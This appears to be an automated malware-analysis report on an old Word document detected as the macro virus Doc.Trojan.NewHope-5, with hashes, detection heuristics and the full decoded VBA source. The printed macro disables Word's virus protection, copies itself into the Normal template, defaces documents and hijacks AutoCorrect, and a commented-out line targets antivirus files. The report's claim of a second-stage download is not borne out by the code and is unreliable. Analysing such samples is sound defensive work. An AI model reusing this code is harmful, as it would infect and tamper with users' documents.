Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25dfb74b422360d9…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: be0bbd3ef2d9e9b270d534826336bd7f SHA-1: 772210478311f3387ff5718ca10d677c66910351 SHA-256: 25dfb74b422360d9d4753abaed55c9631e7445615c9d0dee8c5c26d24fef6762
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.NewHope-5'. It contains a VBA macro that is triggered by the Document_Open event. This macro attempts to copy its code to the Normal template and potentially execute further actions, indicated by the obfuscated string '¦³¹Ú³Ì¬ü.§Æ±æ¬ÛÀH' and the use of `Application.DisplayAlerts = wdAlertsNone` and `Options.VirusProtection = False` to evade detection. The macro's intent appears to be downloading and executing a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.NewHope-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NewHope-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2053 bytes
SHA-256: 458f42122d701e9dcfad16bec7c61c47b67a8d0f925e4d560356aad1e71dfd86
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Rem Private Sub Document_()
Rem
Rem ProgramName "¦³¹Ú³Ì¬ü.§Æ±æ¬ÛÀH"


Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo Killer
If NormInstalled = False Then
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
    Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
    Code = .Lines(1, .CountOfLines)
End With
With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
''WordBasic.Kill "c:\Program Files\Trend Pc-cillin 98\*.*"
Exit Sub
Killer:
 If Month(Date) = Int(Rnd * 12 + 1) Then
Rem ActiveWindow.Caption = "¦³¹Ú³Ì¬ü.§Æ±æ¬ÛÀH"
  Set ULTRAS = ActiveDocument.Range(Start:=0, End:=0)
    With ULTRAS
        .InsertBefore "¦³¹Ú³Ì¬ü.§Æ±æ¬ÛÀH" + Chr(13)
        .Font.Size = 42
        .Font.Name = "²Ó©úÅé"
        .Font.ColorIndex = wdGreen
        .Font.Shadow = 1
        .Font.Animation = wdAnimationLasVegasLights
    End With
 AutoCorrect.Entries.Add Name:=".", Value:="·s¥xÆW.·s°ê®a.·s§Æ±æ"
 AutoCorrect.Entries.Add Name:=",", Value:="¦³¹Ú³Ì¬ü.§Æ±æ¬ÛÀH"
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.